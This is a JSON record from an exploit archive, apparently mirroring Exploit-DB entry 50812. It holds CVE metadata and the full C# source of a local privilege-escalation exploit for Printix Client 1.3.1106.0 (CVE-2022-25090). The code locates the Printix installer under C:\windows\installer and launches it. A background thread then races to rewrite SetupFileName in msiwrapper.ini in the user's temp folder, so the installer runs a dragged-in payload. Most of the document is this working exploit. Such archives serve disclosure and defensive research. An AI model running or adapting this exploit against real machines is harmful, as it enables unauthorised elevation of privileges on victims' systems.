{"exploit":{"id":"EDB-50812","name":"Printix Client 1.3.1106.0 - Privilege Escalation","description":"Printix Client 1.3.1106.0 - Privilege Escalation","cves":["CVE-2022-25090"],"author":"Logan Latvala","published":"2022-03-09","platform":"windows","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/50812","path":"exploits/windows/local/50812.cs","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-50812.cs","vulnerabilities":[{"id":"CVE-2022-25090","state":"PUBLISHED","title":null,"titleSource":null,"description":"Printix Secure Cloud Print Management through 1.3.1106.0 creates a temporary temp.ini file in a directory with insecure permissions, leading to privilege escalation because of a race condition.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2022-25090","cvss":{"version":"3.1","baseScore":8.1,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2022-25090"},"updatedAt":"2026-07-09T00:17:34.211Z","retrievedAt":"2026-11-27T07:06:54.016Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-50812.png?v=2","url":"https://exploitbin.com/exploits/EDB-50812","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-50812/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-50812/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Printix Client 1.3.1106.0 - Privilege Escalation\n# Date: 3/2/2022\n# Exploit Author: Logan Latvala\n# Vendor Homepage: https://printix.net\n# Software Link:\nhttps://software.printix.net/client/win/1.3.1106.0/PrintixClientWindows.zip\n# Version: <= 1.3.1106.0\n# Tested on: Windows 7, Windows 8, Windows 10, Windows 11\n# CVE : CVE-2022-25090\n# Github for project: https://github.com/ComparedArray/printix-CVE-2022-25090\n\nusing System;\nusing System.Runtime.InteropServices;\nusing System.Drawing;\n\nusing System.Reflection;\nusing System.Threading;\nusing System.IO;\nusing System.Text;\nusing System.Resources;\nusing System.Diagnostics;\n\n//Assembly COM for transparent creation of the application.\n\n//End of Assembly COM For Transparent Creation usage.\npublic class Program\n{\n\t//Initiator class for the program, the program starts on the main method.\n\tpublic static void Main(string[] args)\n\t{\n\t\t//Console.SetWindowSize(120,30);\n\t\t//Console.SetBufferSize(120,30);\n\t\tConsole.ForegroundColor = ConsoleColor.Blue;\n\t\tConsole.WriteLine(\"┌─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\");\n\t\tConsole.WriteLine(\"├\t\t\t  oo dP                           dP                                \");\n\t\tConsole.ForegroundColor = ConsoleColor.Red;\n\t\tConsole.WriteLine(\"├\t\t\t     88                           88                                \");\n\t\tConsole.ForegroundColor = ConsoleColor.Green;\n\t\tConsole.WriteLine(\"├\t\t\t  dP 88d888b. .d8888b. d888888b d8888P .d8888b. 88d8b.d8b. 88d888b. \");\n\t\tConsole.ForegroundColor = ConsoleColor.Blue;\n\t\tConsole.WriteLine(\"├\t\t\t  88 88'  `88 88'  `88    .d8P'   88   88ooood8 88'`88'`88 88'  `88 \");\n\t\tConsole.ForegroundColor = ConsoleColor.Yellow;\n\t\tConsole.WriteLine(\"├\t\t\t  88 88    88 88.  .88  .Y8P      88   88.  ... 88  88  88 88.  .88 \");\n\t\tConsole.ForegroundColor = ConsoleColor.Magenta;\n\t\tConsole.WriteLine(\"├\t\t\t  dP dP    dP `88888P8 d888888P   dP   `88888P' dP  dP  dP 88Y888P' \");\n\t\tConsole.WriteLine(\"├\t\t\t                                                           88       \");\n\t\tConsole.WriteLine(\"├\t\t\t                                                           dP       \");\n\t\tConsole.ForegroundColor = ConsoleColor.Blue;\n\t\tConsole.Write(\"├\t\t\t                        For \");\n\t\tConsole.ForegroundColor = ConsoleColor.Magenta;\n\t\tConsole.Write(\"Printix \");\n\t\tConsole.ForegroundColor = ConsoleColor.Blue;\n\t\tConsole.Write(\"Services                       Designed By Logan Latvala\\n\");\n\t\tConsole.WriteLine(\"└─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\");\n\t\tThread.Sleep(3000);\n\t\tstring filesH = \"\";\n\t\tConsole.WriteLine(\"Drag and drop a payload onto this application for execution.\");\n\t\ttry\n\t\t{\n\t\t\tif (args[0]?.Length >0)\n\t\t\t{\n\t\t\t\tConsole.WriteLine(\"File Added: \" + args[0]);\n\t\t\t}\n\n\t\t}\n\t\tcatch (Exception e)\n\t\t{\n\t\t\tConsole.WriteLine(\"You\\'re missing a file here, please ensure that you drag and drop a payload to execute.\\n \\n We'll print the error for you right here...\\n \\n\");\n\t\t\tConsole.ForegroundColor = ConsoleColor.Red;\n\t\t\tConsole.WriteLine(e);\n\t\t\tConsole.ReadLine();\n\t\t\tEnvironment.Exit(40);\n\t\t}\n\n\n\t\tConsole.WriteLine(\"\\n We're going to look for your printix installer, one moment...\");\n\t\tstring[] installerSearch = Directory.GetFiles(@\"C:\\windows\\installer\\\", \"*.msi\", SearchOption.AllDirectories);\n\n\t\tdouble mCheck = 1.00;\n\n\t\tstring trueInstaller = \"\";\n\t\t//Starts to enumerate window's installer directory for an author with the name of printix.\n\t\tforeach (string path in installerSearch)\n\t\t{\n\t\t\tConsole.WriteLine(\"Searching Files: {0} / {1} Files\", mCheck, installerSearch.Length);\n\t\t\tConsole.WriteLine(\"Searching Files... \" + (Math.Round((mCheck / installerSearch.Length) * 100)) + \"% Done.\");\n\t\t\tif (readFileProperties(path, \"Printix\"))\n\t\t\t{\n\t\t\t\ttrueInstaller = path;\n\t\t\t\tConsole.WriteLine(\"We've found your installer, we'll finish enumeration.\");\n\t\t\t\tgoto MGMA;\n\t\t\t}\n\t\t\tmCheck++;\n\t\t}\n\t//Flag for enumeration when the loop needs to exit, since it shouldn't loop infinitely.\n\tMGMA:\n\t\tif (trueInstaller == \"\")\n\t\t{\n\t\t\tConsole.WriteLine(\"We can't find your installer, you are not vulnerable.\");\n\t\t\tThread.Sleep(2000);\n\t\t\tEnvironment.Exit(12);\n\t\t}\n\t\tConsole.WriteLine(\"├─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\");\n\t\tConsole.WriteLine(\"├ We are starting to enumerate your temporary directory.\");\n\t\tConsole.WriteLine(\"├─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\");\n\n\t\t//Start a new thread here for enumeration.\n\n\t\tThread t = new Thread(() => newTempThread(filesH, args));\n\t\tt.Start();\n\n\n\n\t\tProcess.Start(trueInstaller);\n\n\n\n\t\tConsole.WriteLine(\"All done.\");\n\t\tConsole.ReadLine();\n\t}\n\tpublic static void newTempThread(string filesH, string[] args)\n\t{\n\t\twhile (true)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\t//Starts the inheriting process for printix, in which scans for the files and relays their contents.\n\t\t\t\tstring[] files = Directory.GetFiles(@\"C:\\Users\\\" + Environment.UserName + @\"\\AppData\\Local\\Temp\\\", \"msiwrapper.ini\", SearchOption.AllDirectories);\n\t\t\t\tif (!string.IsNullOrEmpty(files[0]))\n\t\t\t\t{\n\t\t\t\t\tforeach (string fl in files)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (!filesH.Contains(fl))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\t//filesH += \" \" + fl;\n\t\t\t\t\t\t\tstring[] fileText = File.ReadAllLines(fl);\n\t\t\t\t\t\t\tint linerc = 0;\n\t\t\t\t\t\t\tforeach (string liners in fileText)\n\t\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\t\tif (liners.Contains(\"SetupFileName\"))\n\t\t\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\t\t\t//Most likely the temporary directory for setup, which presents it properly.\n\t\t\t\t\t\t\t\t\tConsole.WriteLine(\"├─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\");\n\t\t\t\t\t\t\t\t\tConsole.WriteLine(\"├ \" + fl);\n\t\t\t\t\t\t\t\t\tfileText[linerc] = @\"SetupFileName=\" + \"\\\"\" + args[0] + \"\\\"\";\n\t\t\t\t\t\t\t\t\tConsole.WriteLine(\"├ \" + fileText[linerc] + \"\");\n\t\t\t\t\t\t\t\t\tConsole.WriteLine(\"├─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\");\n\t\t\t\t\t\t\t\t\tConsole.WriteLine(\"│\");\n\t\t\t\t\t\t\t\t\tfilesH += \" \" + fl;\n\n\t\t\t\t\t\t\t\t\tFile.WriteAllText(fl, string.Empty);\n\t\t\t\t\t\t\t\t\tFile.WriteAllLines(fl, fileText);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tlinerc++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (Exception e) { Console.WriteLine(\"There was an error, try re-running the program. \\n\" + e); Console.ReadLine(); }\n\n\t\t\tThread.Sleep(20);\n\t\t}\n\t}\n\tpublic static bool readFileProperties(string file, string filter)\n\t{\n\t\tSystem.Diagnostics.Process process = new System.Diagnostics.Process();\n\t\tSystem.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();\n\t\tstartInfo.UseShellExecute = false;\n\t\tstartInfo.RedirectStandardOutput = true;\n\t\tstartInfo.FileName = \"CMD.exe\";\n\t\tstartInfo.Arguments = \"/c PowerShell -Command \\\"$FilePath='\" + file + \"'; Write-Host ((New-Object -COMObject Shell.Application).NameSpace((Split-Path -Parent -Path $FilePath))).ParseName((Split-Path -Leaf -Path $FilePath)).ExtendedProperty('System.Author')\\\"\";\n\t\tprocess.StartInfo = startInfo;\n\t\tprocess.Start();\n\t\tstring output = process.StandardOutput.ReadToEnd();\n\t\tprocess.WaitForExit();\n\t\tif (output.Contains(filter)) { return true; }\n\t\telse { return false; }\n\t\t//wmic datafile where Name=\"F:\\\\ekojs.txt\" get Description,Path,Status,Version\n\t}\n}","sha256":"b3bf6ea4a1e11c6ec6f946fbc0acd84419b46892d38efb25816291043157c072","bytes":8767,"fetchedAt":"2026-11-27T07:06:50.440Z","encoding":"utf-8 (display only; download retains original bytes)"}